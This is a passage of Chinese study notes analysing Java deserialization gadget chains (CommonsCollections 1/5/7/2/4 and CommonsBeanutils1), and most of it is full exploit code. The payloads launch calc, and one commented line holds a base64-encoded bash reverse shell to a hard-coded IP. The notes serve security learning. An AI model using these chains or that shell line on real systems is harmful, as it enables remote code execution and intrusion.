byte[] code = Files.readAllBytes(Paths.get("E:\\03code_environment\\02java\\04idea_cc\\cc3\\target\\classes\\org\\example\\Evil.class"));
byte[][] codes = {code};
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
_bytecodesField.set(templates,codes);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


Map<Object,Object> hashmap = new HashMap<>();
Map decorate = LazyMap.decorate(hashmap,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"123");

serialize(hashMap);
unserialize("test.bin");
}
public static void serialize(Object o)throws Exception{
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin")));
out.writeObject(o);
}
public static void unserialize(String name)throws Exception{
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name)));
in.readObject();
}
}
第四阶段-绕过InvokerTransformer

来看InstantiateTransformer类的transform方法,相当于传入一个对象的Class会调用构造这个对象,就会触发其构造函数。

image-20231018230558941

再来看TrAXFilter类,其构造函数会调用newTransformer

image-20231018230943208

这样连起来就是,

1
2
3
4
5
6
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

有人疑惑为什么不直接使用TrAXFilter类呢?

因为TrAXFilter是不能序列化的。

所以我们这样修改就可以了。

CommonsCollections1终极版的exp-InvokerTransformer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
System.out.println("Hello world!");

TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");

byte[] code = Files.readAllBytes(Paths.get("E:\\03code_environment\\02java\\04idea_cc\\cc3\\target\\classes\\org\\example\\Evil.class"));
byte[][] codes = {code};
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
_bytecodesField.set(templates,codes);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


Map<Object,Object> hashmap = new HashMap<>();
Map decorate = LazyMap.decorate(hashmap,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"123");

serialize(hashMap);
unserialize("test.bin");
}
public static void serialize(Object o)throws Exception{
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin")));
out.writeObject(o);
}
public static void unserialize(String name)throws Exception{
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name)));
in.readObject();
}
}
CommonsCollections1终极版的exp-InstantiateTransformer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
System.out.println("Hello world!");

TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");

byte[] code = Files.readAllBytes(Paths.get("E:\\03code_environment\\02java\\04idea_cc\\cc3\\target\\classes\\org\\example\\Evil.class"));
byte[][] codes = {code};
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
_bytecodesField.set(templates,codes);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


Map<Object,Object> hashmap = new HashMap<>();
Map decorate = LazyMap.decorate(hashmap,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"123");

serialize(hashMap);
unserialize("test.bin");
}
public static void serialize(Object o)throws Exception{
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin")));
out.writeObject(o);
}
public static void unserialize(String name)throws Exception{
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name)));
in.readObject();
}
}

CC5链分析

利用链

1
2
3
4
5
6
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()

在CC5链中ysoserial给出的提示是需要JDK1.8并且SecurityManager需要是关闭的。先来介绍一下SecurityManager是干嘛的。SecurityManager也就是java的安全管理器,当运行未知的Java程序的时候,该程序可能有恶意代码(删除系统文件、重启系统等),为了防止运行恶意代码对系统产生影响,需要对运行的代码的权限进行控制,这时候就要启用Java安全管理器。该管理器默认是关闭的。

分析

可以看到,LazyMap往下都是cc1的内容,我们直接从LazyMap类的get方法调用出发。

1
2
3
4
5
6
7
8
9
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> decorate = LazyMap.decorate(new HashMap<>(),chainedTransformer);
decorate.get("123");

我们来看TiedMapEntry类,在cc6中,我们用的是TiedMapEntry的getValue方法,其中hashCode方法和toString方法都调用了getValue方法。cc6是利用了hashCode方法,这里的toString方法也可以利用,这就是cc5的链了,看图

image-20231019110628352

image-20231019110414181

接着我们直接跳到BadAttributeValueExpException类,查看其readObject方法

image-20231019110857198

我们只需要反射控制val字段就行,很简单的一条链子

最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args)throws Exception {
System.out.println("Hello world!");

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> decorate = LazyMap.decorate(new HashMap<>(),chainedTransformer);
// decorate.get("123");

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,123);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);

serialize(badAttributeValueExpException);
unserialize("test.bin");

}
public static void serialize(Object o)throws Exception{
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin")));
out.writeObject(o);
}
public static void unserialize(String name)throws Exception{
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name)));
in.readObject();
}
}

CC7链分析

参考

https://exp10it.cn/2022/11/commonscollections-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#commonscollections7

https://cloud.tencent.com/developer/article/2278268

https://blog.csdn.net/qq_35733751/article/details/119862728

调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals

org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

分析-Hashtable

首先直接来看java.util.Hashtable类,其中的readObject方法,可以看到readObject方法会触发reconstitutionPut方法的调用,里面进行了hash值和key值的比较,我们需要让&&前的hash相等,然后来到key值这里调用equal函数。也就是调用LazyMap的equal函数,他没有实现,会调用父类AbstractMapDecorator的equal函数,此equal函数调用的是HashMap的equal函数,HashMap也没有equal函数,再看父类的AbstractMap类的equal函数,此函数会触发m.get函数,进而达到我们的目的。

image-20231019134559645

image-20231019134528904

image-20231019134636291

最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;

public class Main {
public static void main(String[] args)throws Exception {
System.out.println("Hello world!");

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

Map innerMap1 = new HashMap();
Map lazyMapDecorate1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMapDecorate1.put("yy",123);

Map innerMap2 = new HashMap();
Map lazyMapDecorate2 = LazyMap.decorate(innerMap2,chainedTransformer);
lazyMapDecorate2.put("zZ",123);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMapDecorate1,1);
hashtable.put(lazyMapDecorate2,2);

Field iTransformers = chainedTransformer.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers);

lazyMapDecorate2.remove("yy");

serialize(hashtable);
unserialize("test.bin");

}
public static void serialize(Object o)throws Exception{
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin")));;
out.writeObject(o);
}
public static void unserialize(String name)throws Exception{
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name)));
in.readObject();
}
}

CC2链分析

环境配置

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>

分析:

因为目前 commons-collections 有两个大版本 3 和 4, 而 cc2 cc4 这两条链就是 ysoserial 给 commons-collections4 准备的。当然其它 cc 链经过简单的修改之后也能够在 commons-collections4 中使用

cc2 的利用链

1
2
3
4
5
6
7
8
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

image-20231226132100971

1
2
3
4
5
6
7
8
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import java.util.Comparator;
import java.util.PriorityQueue;

调用分析:

首先看java.util.PriorityQueue这个类。

java.util.PriorityQueue#readObject

image-20231226134209940

java.util.PriorityQueue#heapify

image-20231226134258629

java.util.PriorityQueue#siftDown

image-20231226134346949

java.util.PriorityQueue#siftUpUsingComparator

image-20231226134435694

然后看org.apache.commons.collections4.comparators.TransformingComparator这个类。

image-20231226134607491

最终的调用链就是这个:

image-20231226132100971

payload代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.example;


import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
System.out.println("Hello world!");

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
new ConstantTransformer(1)
};

Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Comparator comparator = new TransformingComparator(transformerChain); // 实例化 TransformingComparator 并传入 ChainedTransformer

PriorityQueue priorityQueue = new PriorityQueue(2, comparator); // 实例化 PriorityQueue 并传入 comparator
priorityQueue.add(1);
priorityQueue.add(2);

Class transformerChainClass = transformerChain.getClass();
Field iTransformersField = transformerChainClass.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(transformerChain,transformers);

// serialize(priorityQueue);
unserialize("test.bin");
}
public static void serialize(Object o)throws Exception{
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin")));
out.writeObject(o);
}
public static void unserialize(String name)throws Exception{
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name)));
in.readObject();
}
}

反序列化弹出了两次计算器,懒得分析了,先这样吧,能弹就好了。

CC4链分析

https://exp10it.cn/2022/11/commonscollections-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#commonscollections2

分析:

cc4 就是将 cc2 的 InvokerTransformer 替换成了 InstantiateTransforme, 然后利用 TemplatesImpl 来执行字节码

paylaod:

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
</dependencies>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.PriorityQueue;

public class Main {
public static String filePath = "test.bin";

public static void main(String[] args) throws Exception{


byte[] code = getTemplates();
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_name", "Hello");
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

Comparator comparator = new TransformingComparator(transformerChain);

PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
priorityQueue.add(1);
priorityQueue.add(2);

setFieldValue(transformerChain, "iTransformers", transformers);
ser(priorityQueue);
unser();

}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
// String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OSAwPiYx}|{base64,-d}|{bash,-i}\");";
String block = "Runtime.getRuntime().exec(\"calc\");";

template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void unser() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filePath)));
in.readObject();
}
}

image-20231226141037359

疑问

CC6链一直有一个地方弄不明白,就是HashMap和LazyMap以及TiedMapEntry放到一起那里,以及为什么要remove,调试时的变量信息是我无法理解的,查了源码也不懂为什么是那样的变量信息,暂时记录以下吧。去记忆了而不是去解决它了,以后有能力了再来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//        System.out.println("hello");
//
// Map<Object,Object> hashmap = new HashMap<>();
// hashmap.put("key","value");
// Map decorate = LazyMap.decorate(hashmap,new ConstantTransformer("asd"));
// TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123");
//
// System.out.println("end");

String a = "123";
A aer = new A(a);
System.out.println(aer.mya);

aer.mya = "456";
System.out.println(a);

总结

CC链就先分析到这里,8、9、10等剩下的链以后再接着分析;
CC链1-7涉及两个CC版本,3.1和4.0;
3.1版本基本就是通过各种途径去调用LazyMap#get,从而实现RCE;
4.0版本则是通过调用TransformingComparator#compare来实现RCE;
相同点都在于是为了调用transform()
虽然几条链分析下来都大同小异,但也提升了不少分析代码的能力,获益匪浅。

CommonsBeanutils1

https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/CommonsBeanutils1/CommonsBeanutils1%E7%AC%94%E8%AE%B0.md

https://exp10it.cn/2022/12/shiro-550-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#commonsbeanutils1-%E5%88%A9%E7%94%A8%E9%93%BE

https://blog.csdn.net/rfrder/article/details/119987906

https://www.cnblogs.com/yyhuni/p/15644299.html

环境配置和依赖:

https://blog.csdn.net/baidu_39120378/article/details/103715593

这里只需要导入shiro的依赖即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!--shiro的包-->
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-all</artifactId>
<version>1.4.1</version>
</dependency>
<!--servlet 相关的包-->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.0.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>4.2.5.RELEASE</version>
</dependency>

可见shiro的依赖包括了commons-beanutils和commons-collections,因此我们只需要导入shiro依赖就足够了。

image-20231226152420774

预备知识:

之所以学习CommonsBeanutils的反序列化链,是因为shiro依赖于commons-beanutils。

根据名字commons-collections是对集合的封装和补充,那么commons-beanutils是应用于javabean的工具。

javabean维基百科定义:

  • 有一个public的无参构造函数
  • 属性可以通过set、get、is方法或遵循特定命名的其他方法访问
  • 可序列化

第二条即属性都有访问器和修改器,commons-beanutils中提供了一个静态方法PropertyUtils.getProperty,使用者可以调用任意JavaBean的getter方法。

org.apache.commons.beanutils.PropertyUtils#getProperty方法:

image-20231226153027441

说白了就是,一个Person类是JavaBean,他有name属性,则PropertyUtils.getProperty(new Person(),”name”)会调用他的getName方法。

链子:

1
2
3
4
5
6
7
8
9
10
11
12
13
PriorityQueue.readObject()
PriorityQueue.heapify() ->

PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator() ->

BeanComparator.compare() ->
PropertyUtils.getProperty(TemplatesImpl, outputProperties)
->
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()

链子分析:

链子尾部

这条链子尾部是衔接TemplatesImpl#getOutputProperties()的,所以

1
2
3
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

TemplatesImpl.getOutputProperties(),它是一个 getter 方法,并且作用域为 public,所以可以通过 CommonsBeanUtils 中的PropertyUtils.getProperty()方式获取,这里我们的PropertyUtils.getProperty()对应的参数应该这么传

1
2
// 伪代码
PropertyUtils.getProperty(TemplatesImpl, outputProperties)
开始部分和中间链子

接着看看谁调用了PropertyUtils.getProperty(),查找用法,找不到就奇怪,先不管它了。。

image-20231226182631513

我们直接来到BeanComparator的compare方法,看到它调用了PropertyUtils.getProperty()

image-20231226182923380

继续找谁调用了 compare() 方法,这里就太多了,我们优先去找能够进行序列化的类,于是这里找到了PriorityQueue这个类。

image-20231226184100252

到这里似乎就是我们熟悉的CC2优先级队列那里的调用部分了。直接看链子

1
2
3
4
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()

全部链子连到一块

1
2
3
4
5
6
7
8
9
10
11
12
13
PriorityQueue.readObject()
PriorityQueue.heapify() ->

PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator() ->

BeanComparator.compare() ->
PropertyUtils.getProperty(TemplatesImpl, outputProperties)
->
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()

img

exp1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-all</artifactId>
<version>1.4.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
</dependencies>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;


public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

public Evil() throws Exception {
super();
Runtime.getRuntime().exec("calc");
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;

import java.util.PriorityQueue;

public class Exp1 {
public static void main(String[] args) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

// PropertyUtils.getProperty(obj, "outputProperties");
final BeanComparator comparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, comparator);

queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();

}
public static byte[] getTemplates2() throws Exception{
return ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
exp2函数优化版
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-all</artifactId>
<version>1.4.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
</dependencies>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Exp2 {
public static String filePath = "test.bin";
public static void main(String[] args) throws Exception{
TemplatesImpl templatesImpl = new TemplatesImpl();
byte[] code = getTemplates();

setFieldValue(templatesImpl, "_name", "Hello");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{code});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

// templatesImpl.getOutputProperties();
